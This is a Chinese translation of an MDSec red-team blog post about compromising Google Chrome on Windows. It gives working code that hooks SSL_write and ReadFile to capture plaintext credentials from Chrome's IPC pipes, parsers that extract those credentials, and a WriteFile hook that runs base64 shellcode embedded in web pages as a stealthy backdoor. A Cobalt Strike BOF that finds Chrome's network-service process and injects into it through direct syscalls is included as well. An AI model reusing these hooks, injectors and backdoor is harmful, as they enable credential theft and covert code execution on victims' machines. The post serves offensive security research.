Breaking The Browser – IPC、凭证和后门的故事

原文链接:https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/

Web 浏览器天生就受到用户的信任。他们受过训练,可以信任“地址栏中有挂锁”和“名称正确”的网站,这种信任让用户在将敏感数据输入这些网站时感到很自在。从攻击者的角度来看,这种信任是一件了不起的事情,因为一旦您破坏了用户工作站,就会有一个进程(具有接近于零的保护)处理相对大量的敏感数据,同时被用户大量使用。加上带有浏览器扩展的密码管理器,你就有了红队的自然目标。所以很自然地,当我发现自己有时间花在一个研究项目上时,我决定用它来滥用这种信任!

总体概述

我决定定位的浏览器是谷歌浏览器,原因很简单,它拥有 近 70% 的桌面浏览器市场份额,因此是迄今为止最受欢迎的浏览器,因此是显而易见的目标选择。

与大多数浏览器一样,Chrome 使用多进程架构(如下所示):

这样做的原因是为了安全性和可用性,它允许浏览器的特定部分(例如渲染器)被沙箱化,同时仍然允许浏览器的其他部分不受沙箱的限制运行。Chrome 分为 7 个不同的部分,其中最重要的是网络服务、存储服务和渲染器。网络服务按照它在锡上所说的做……它处理与互联网的通信,因此保证拥有我们所追求的敏感数据。

老式的数据窃取

我知道我的目标是在 Windows 上运行的 Chrome,而且 Windows 有自己的名为 Winsock 的套接字库。因此,Chrome 很可能会使用 Winsock 进行网络通信。大多数 Chrome 代码都存储在内部 chrome.dll ,因此将其加载到 IDA 并查看外部参照, WSASend 我可以确认该假设。

唯一的问题是,当用户连接到没有启用 SSL 的站点时,WSASend 只会包含纯文本数据,这不太可能是 我们想要从中窃取数据的任何站点。那么我们如何才能获得相同的数据,就像加密之前的明文一样呢?让我们只针对 SSL 加密功能。

在 Chrome 的开发过程中,Google 认为 OpenSSL 对他们来说还不够好,并制作了自己的分支 BoringSSL。他们很好地保留了原始的核心函数名称,这意味着 SSL_write 例如,在 OpenSSL 和 BoringSSL 中做同样的事情。它将指向一些明文数据的指针作为 buf 参数,并将其写入参数指向的 SSL 流 ssl 。该函数的源代码如下所示:

我们可以通过搜索以下字符串的外部参照来确认 Chrome 对它的 SSL_write 使用 chrome.dll

经过一番查看后,我在 offset 找到了函数 0x0000000182ED03E0,我重命名了一些变量和函数名称,因此很清楚它是 SSL_write 函数:

现在我们有了偏移量,我们可以放置一个挂钩来将调用从合法调用重定向 SSL_write 到我们的 SSL_write 函数。我在过去的博客文章中这样做过 。

我写了 一些代码 来搜索以下模式:

41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44

并将其替换为以下函数,该函数将仅显示一个包含请求数据的文本框。

int SSL_write(void* ssl, void* buf, int num) {
	MessageBoxA(NULL, (char*)buf, "SSL_write", 0);
    
	return Clean_SSLWrite(ssl, buf, num);
}

我将 DLL 注入网络服务并登录到 Outlook 帐户。正如预期的那样,我有两个弹出框,一个包含请求标头,另一个包含 POST 正文:

只是为了确保,我尝试登录其他几个网站,一切似乎都运行良好,直到我尝试登录谷歌服务并且没有得到一个弹出框。我不明白为什么我能够捕获除任何到谷歌服务之外的所有请求。在做了一些研究之后,我发现了 QUIC 协议。事实证明,谷歌已经决定 TCP 不再适用于 HTTP,Chrome 现在将使用 UDP。 叹息,当然……

但所有的云都有一线希望,至少这迫使我承认 Chrome 实际上支持多种不同协议的事实,我必须找到一个更通用的解决方案来实现我的目标。

在多协议时代窃取数据

现在完全可以重复上述过程,找到每个协议的关键函数的偏移量,然后放置钩子。但这似乎需要做很多工作,并不是一种特别优雅的方法。相反,我决定退后一步,寻找一种更清洁的方法来做这件事。

回顾 Chrome 使用的多进程架构,我意识到渲染器进程必须使用一种方法将请求传达给网络服务并接收回响应。我发现 了这个谈话 @NedWilliamson 详细 介绍了 Chrome 如何使用进程间通信 (IPC) 在进程之间进行通信。看来,通过针对两个进程之间用于 IPC 的函数,我现在可以窃取正在发送和接收的数据,而不管协议如何。

Chrome 将在 IPC 期间使用多个不同的管道,控制管道被调用 \\.\pipe\chromeipc ,其他管道用于传输请求、响应、cookie、保存的凭据等数据。我发现了这个名为 chromium-ipc-sniffer 的工具 ,它允许我使用 Wireshark 来嗅探通过 Chrome 控制管道发送的数据。

我启动了它——发送了很多不相关的数据,所以我使用下面的过滤器将其优化为仅我想看到的通信:

npfs.process_type contains "Network Service" && npfs.process_type contains "Broker"

在做 IPC Chrome 使用 Mojo时,它是一种数据格式,基本上可以让 Chrome 轻松传递数据并快速调用内部函数。它太酷了。如下图所示,broker 将调用 URLLoaderFactory.CreateLoaderAndStart 网络服务中的 Mojo 方法,并为其提供 HTTP 请求的关键信息,例如方法、域和标头:

渲染器不会将请求直接传递给网络服务,而是使用代理作为这些请求的代理。

现在我们确定请求数据将通过 IPC 传输,是时候开始窃取这些数据了!这样做实际上非常容易,因为您只需挂钩一个 Windows API 调用即可获取任何请求的内容,而不管它要通过何种协议发送。考虑以下 Chrome 自己的内部代码的示例:

DWORD dwRead;
LPVOID lpBuffer = NULL;

HANDLE hPipe = CreateFile(L"\\\\.\\pipe\\chromeipc", 
                   GENERIC_READ, 
                   0,
                   NULL,
                   OPEN_EXISTING,
                   0,
                   NULL);

while (hPipe != INVALID_HANDLE_VALUE)
{
    while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &dwRead, NULL) != FALSE)
    {
        HandleMojoData(lpBuffer);
    }
    CloseHandle(hPipe);
}

与其使用字节模式(可能会在版本之间更改)来查找 HandleMojoData,为什么不只针对 ReadFile PEB 中存在的地址并且通过调用 GetProcAddress. 所以让我们这样做——下面是我要将合法函数重定向到的 ReadFile 函数:

BOOL Hooked_ReadFile( HANDLE hFile,
    LPVOID       lpBuffer,
    DWORD        nNumberOfBytesToRead,
    LPDWORD      lpNumberOfBytesRead,
    LPOVERLAPPED lpOverlapped
)
{
    // so we can verify if the function is hooked or not
    if (hFile == (HANDLE)READFILE_HOOKED && lpBuffer == NULL)
    {
        return TRUE;
    }

    WriteBufferToLog(lpBuffer, nNumberOfBytesToRead);

    return Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);
}

这个函数所做的就是将要从命名管道写入的数据记录到磁盘上的文件中,然后调用原始 ReadFile 函数。此代码可在 此处找到。

我认为重要的是要指出,我之所以不包括 Mojo 解析器来仅记录请求数据,而是记录所有内容,仅仅是因为 Chrome 拥有如此庞大的代码库,以至于我几乎可以肯定 HTTP 请求数据不会是通过这些管道传递的唯一值数据。考虑到这一点,记录所有内容并在以后解析它是有意义的,而不会有永远丢失数据的风险。

注入挂钩 DLL 并再次登录到 Outlook 后,通过一些 grepping,我能够找到我用来登录的凭据:

尝试使用 QUIC 协议登录 https://account.google.com/  ,正如您在下面的屏幕截图中所见,我们现在能够窃取纯文本凭据:

现在唯一的挑战是解析这个文件并提取尽可能多的秘密。

YARA,蓝红双色

我需要编写一个实用程序来解析这个转储文件。它需要能够匹配和区分多种不同的请求类型,然后以一种可以轻松检索请求中的秘密的方式解析这些请求。为此,结合使用 YARA 规则和我编写的基于 python 的插件系统 hunt.py

使用的语法 hunt.py 非常简单

./hunt.py <dumpfile>

然后它将搜索转储并定位机密,如下所示:

编写规则和插件实际上非常容易。首先,您需要查看请求并挑选出可用于识别 YARA 规则请求的字符串:

然后使用这些字符串可以编写如下的 YARA 规则。规则应存储在 rules/ 目录中:

rule outlook_creds {
    meta:
        author = "@_batsec_"
        plugin = "outlook_parse"
    strings: 
        $str1 = "login.live.com" 
        $str2 = "login=" 
        $str3 = "hisScaleUnit="
        $str4 = "passwd="
    condition: 
        all of them 
}

当 hunt.py 找到匹配时,它使用 plugin 规则中变量的值作为插件的名称来加载和解析请求。

插件只是 plugins.py 文件中的一个函数。它将以字节对象的形式给出原始请求,并应返回一个字典,其中包含它找到的所有内容的名称和秘密,例如 {'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}.

解析outlook请求的插件如下图所示:

def outlook_parse(request):

    creds = {}

    creds['site'] = 'login.live.com'

    login = re.search(rb'login=(.*)&', request).group(1).decode()
    login = login[:login.index('&')]
    creds['username'] = login

    passwd = re.search(rb'passwd=(.*)&', request).group(1).decode()
    passwd = passwd[:passwd.index('&')]
    creds['password'] = passwd
    
    return creds

让我们来看看我们的 chrometap BOF 的运行情况:https://player.vimeo.com/video/499545085?dnt=1&app_id=122963

Chrome,谷歌的植入程序?

能够从请求中窃取秘密是一回事,但是使用 Chrome 作为一种隐蔽的持久性方法呢?现在那会很酷。

为了解决这个问题,我们需要找到一种方法来查看 Web 请求的响应,但是如果我们可以 ReadFile 在网络服务中通过钩子查看 Web 请求,那么我们当然可以查看对这些请求的响应,因为它的回写到带钩子的管子上 WriteFile?让我们来了解一下。

我修改了前面的代码以转储 的内容,WriteFile而不是ReadFile. 将其注入网络服务并分析转储文件,我希望看到大量 HTML/CSS/JavaScript 文件,但令我惊讶的是没有:

我很困惑。我认为我的假设是错误的,并且响应内容是通过不同的 IPC 方式传达的。我花了一些时间查看共享内存(IPC Chrome 使用的另一种方法),但仍然无法找到响应内容。

感到沮丧,我正在查看请求标头,试图查看是否有我遗漏的任何内容。然后我注意到了编码头,这一切都说得通:

我曾假设网络服务只会处理所有内容并将响应传递给渲染器进行渲染,但从转储文件中的 gzip 压缩内容的数量来看,渲染过程似乎也会处理解压缩:

通过提取和解压缩 gzip 压缩的内容,我们可以看到它实际上是我一直在搜索的 Web 内容。最后!

所以现在我们知道,通过挂上钩子 WriteFile 并解压缩其中的数据, lpBuffer 我们将得到纯文本的 Web 内容。凉爽的。

使用 这个 漂亮的小 gzip 解压缩库,我可以编写一个替换 WriteFile 函数来解压缩数据,并将 <shellcode></shellcode> HTML 标记 之间的任何数据提供ExecuteShellcode 给要执行的 shellcode 函数。

#define SHCPATTERN1 "<shellcode>"
#define SHCPATTERN2 "</shellcode>"

BOOL Hooked_WriteFile(HANDLE hFile,
	LPCVOID      lpBuffer,
	DWORD        nNumberOfBytesToWrite,
	LPDWORD      lpNumberOfBytesWritten,
	LPOVERLAPPED lpOverlapped)
{
    int res;
    DWORD i;
    char *start, *end;
    char *target = NULL;
    unsigned char *dest = NULL;
    unsigned char *source = NULL;
    unsigned int len, dlen, outlen;
    DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer;

    if (hFile == (HANDLE)WRITEFILE_HOOKED && lpBuffer == NULL)
    {
        return TRUE;
    }

    if (lpBuffer != NULL && nNumberOfBytesToWrite >= 18)
    {
        tinf_init();

        auto ucharptr = static_cast<const unsigned char*>(lpBuffer);
        source = const_cast<unsigned char*>(ucharptr);

        dlen = read_le32(&source[nNumberOfBytesToWrite - 4]);

        dest = (unsigned char *) malloc(dlen ? dlen : 1);
        if (dest == NULL)
        {
            goto APICALL;
        }

        outlen = dlen;

        res = tinf_gzip_uncompress(dest, &outlen, source, nNumberOfBytesToWrite);

        if ((res != TINF_OK) || (outlen != dlen)) 
        {
            free(dest);
            goto APICALL;
        }

        for (i = 0; i < outlen; i++)
        {
            if (!memcmp((PVOID)(dest + i), (unsigned char*)SHCPATTERN1, strlen(SHCPATTERN1)))
            {
                if ( start = strstr( (char*)dest, SHCPATTERN1 ) )
                {
                    start += strlen( SHCPATTERN1 );
                    if ( end = strstr( start, SHCPATTERN2 ) )
                    {
                        target = ( char * )malloc( end - start + 1 );
                        memcpy( target, start, end - start );
                        target[end - start] = '\0';

                        ExecuteShellcode(target);
                    }
                }
            }
        }

        free(dest);
        free(target);
        
        goto APICALL;
    }
    
    goto APICALL;

APICALL:
    return Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
}

ExecuteShellcode 没有做任何特别的 事情,它只是使用 windows API 对 shellcode 进行 base64 解码然后执行它。我将把它作为一个挑战,让读者适应它 以使用系统调用 和其他更具防御性的注入技术。

BOOL ExecuteShellcode(char* shellcode)
{
    DWORD dwOutLen;
    int shellcode_len = strlen(shellcode);

    FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress(
                                                        LoadLibraryA("crypt32.dll"), 
                                                        "CryptStringToBinaryA");

    CryptStringToBinaryA(
        (LPCSTR)shellcode,
        (DWORD)shellcode_len,
        CRYPT_STRING_BASE64,
        NULL,
        &dwOutLen,
        NULL,
        NULL
    );

    BYTE* pbBinary = (BYTE*)malloc(dwOutLen + 1);

    CryptStringToBinaryA(
        (LPCSTR)shellcode,
        (DWORD)shellcode_len,
        CRYPT_STRING_BASE64,
        pbBinary,
        &dwOutLen,
        NULL,
        NULL
    );

    void* module = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(module, pbBinary, dwOutLen);

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)module, NULL, 0, 0);

    return TRUE;

}

由于我们现在有一个 DLL,当注入它时,它将强制 Chrome 执行 <shellcode></shellcode> 标签之间的任何 shellcode,让我们测试一下:

如果您使用后门浏览器访问 我博客的主页,  shellcode 将运行:

有一种隐秘的方式来保留对这样一个组织的访问权很酷,因为这并不意味着你必须让信标/植入物不断运行。您所要做的就是让用户访问其中包含纯文本 shellcode 标记的 Web 资源,无论是链接、图像、iframe 等,都无所谓。

您可以使用任何正常的持久性技术在每次重新启动后重新注入挂钩。

部署

以 DLL 形式拥有这些工具很有用,但对于参与来说不是很实用,因为我必须以某种方式识别 Chrome 的网络服务,然后注入所述 DLL。因此,我决定结合使用 sRDI 和 Cobalt Strikes 的 信标目标文件 来部署它们。

我编写了信标对象文件 (BoF) 来使用直接系统调用,这要归功于 @Cneelis 在 InlineWhispers上的出色工作,这变得容易多了。

首要任务是找到 Chrome 的网络服务。它在映像名称下运行, chrome.exe 因此我使用 NtQuerySystemInformation 带 SystemProcessInformation 参数的系统调用来获取指向结构的指针,该 SYSTEM_PROCESSES 结构包含有关当前在机器上运行的所有进程的信息。

typedef struct _SYSTEM_PROCESSES {
	ULONG NextEntryDelta;
	ULONG ThreadCount;
	ULONG Reserved1[6];
	LARGE_INTEGER CreateTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER KernelTime;
	UNICODE_STRING ProcessName;
	KPRIORITY BasePriority;
	HANDLE ProcessId;
	HANDLE InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

然后使用 NextEntryDelta 迭代流程直到 ProcessName.Buffer is  chrome.exe

DWORD GetChromeNetworkProc()
{
    NTSTATUS dwStatus;
    ULONG ulRetLen = 0;
    LPVOID lpBuffer = NULL;
    DWORD dwPid, dwProcPid = 0;

    if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &ulRetLen) != STATUS_INFO_LENGTH_MISMATCH)
    {
        goto Cleanup;
    }

    lpBuffer = MSVCRT$malloc(ulRetLen);
    if (lpBuffer == NULL)
    {
        goto Cleanup;
    }

    if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &ulRetLen) == STATUS_SUCCESS)
    {
        goto Cleanup;
    }

    PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer;

    do
    {
        dwPid = 0;

        lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo->NextEntryDelta);
        dwProcPid = *((DWORD*)&lpProcInfo->ProcessId);
        
        if (MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer, L"chrome.exe") == 0)
        {
            if (IsNetworkProc(dwProcPid))
            {
                dwPid = dwProcPid;
                goto Cleanup;
            }
        }

        if (lpProcInfo->NextEntryDelta == 0) 
        {
			goto Cleanup;
        }
    } while (lpProcInfo);

Cleanup:
	return dwPid;
}

一旦找到一个名为的进程 chrome.exe ,它的进程 ID 将被传递给 IsNetworkProc 函数,该函数将确定它是否实际上是网络服务。这是通过使用 NtQueryInformationProcess 系统调用来获取远程进程中的进程环境块 (PEB) 的地址,然后遍历 PEB 直到找到启动进程的命令行参数来完成的。--utility-sub-type=network.mojom.NetworkService 如果在启动进程时使用 了标志 ,chrome.exe 那么该进程将成为网络服务。

BOOL IsNetworkProc(DWORD dwPid)
{
	PPEB pPeb;
	SIZE_T stRead;
	HANDLE hProcess;
	NTSTATUS dwStatus;
	BOOL bStatus = FALSE;
	PWSTR lpwBufferLocal;
	PROCESS_BASIC_INFORMATION BasicInfo;

	MSVCRT$memset(&BasicInfo, '\0', sizeof(BasicInfo));

	if ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	LPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB));
	if (lpPebBuf == NULL)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &stRead) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	PPEB pPebLocal = (PPEB)lpPebBuf;

	PRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal->ProcessParameters;
	PRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));

	if (pRtlProcParamCopy == NULL)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	USHORT len =  pRtlProcParamCopy->CommandLine.Length;
	PWSTR lpwBuffer = pRtlProcParamCopy->CommandLine.Buffer;
	
	if ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (MSVCRT$wcsstr(lpwBufferLocal, L"--utility-sub-type=network.mojom.NetworkService") != NULL)
	{
		bStatus = TRUE;
	}

	goto Cleanup;

Cleanup:
	if (hProcess) { KERNEL32$CloseHandle(hProcess); }

	return bStatus;
}

找到网络进程后,它将使用以下代码将 DLL 注入该进程,该 DLL 现在已通过 sRDI 转换为与位置无关的 shellcode。

BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf)
{
	ULONG ulPerms;
	LPVOID lpBuffer = NULL;
	HANDLE hProcess, hThread;
	SIZE_T stSize = (SIZE_T)dwShcLen;

	if ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
	if (lpBuffer == NULL)
	{
		return FALSE;
	}

	if (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS)
	{
		return FALSE;
	}

	if (NtProtectVirtualMemory(hProcess, &lpBuffer, &stSize, PAGE_EXECUTE_READ, &ulPerms) != STATUS_SUCCESS)
	{
		return FALSE;
	}

	NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	return TRUE;
}

EOF

我希望你发现这篇文章很有用,并且会发现其中一些技巧很有帮助。我还计划包括有关如何将任意 JavaScript 注入网页的详细信息,但遗憾的是,我只是没时间了,不得不转向其他事情,尽管我会说完全有可能使用这些技术的组合我已经在上面列出了。

如果您有任何问题,请随时在 Twitter 上给我一个 DM。

这篇博文由 Dylan ( @_batsec_ ) 撰写。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注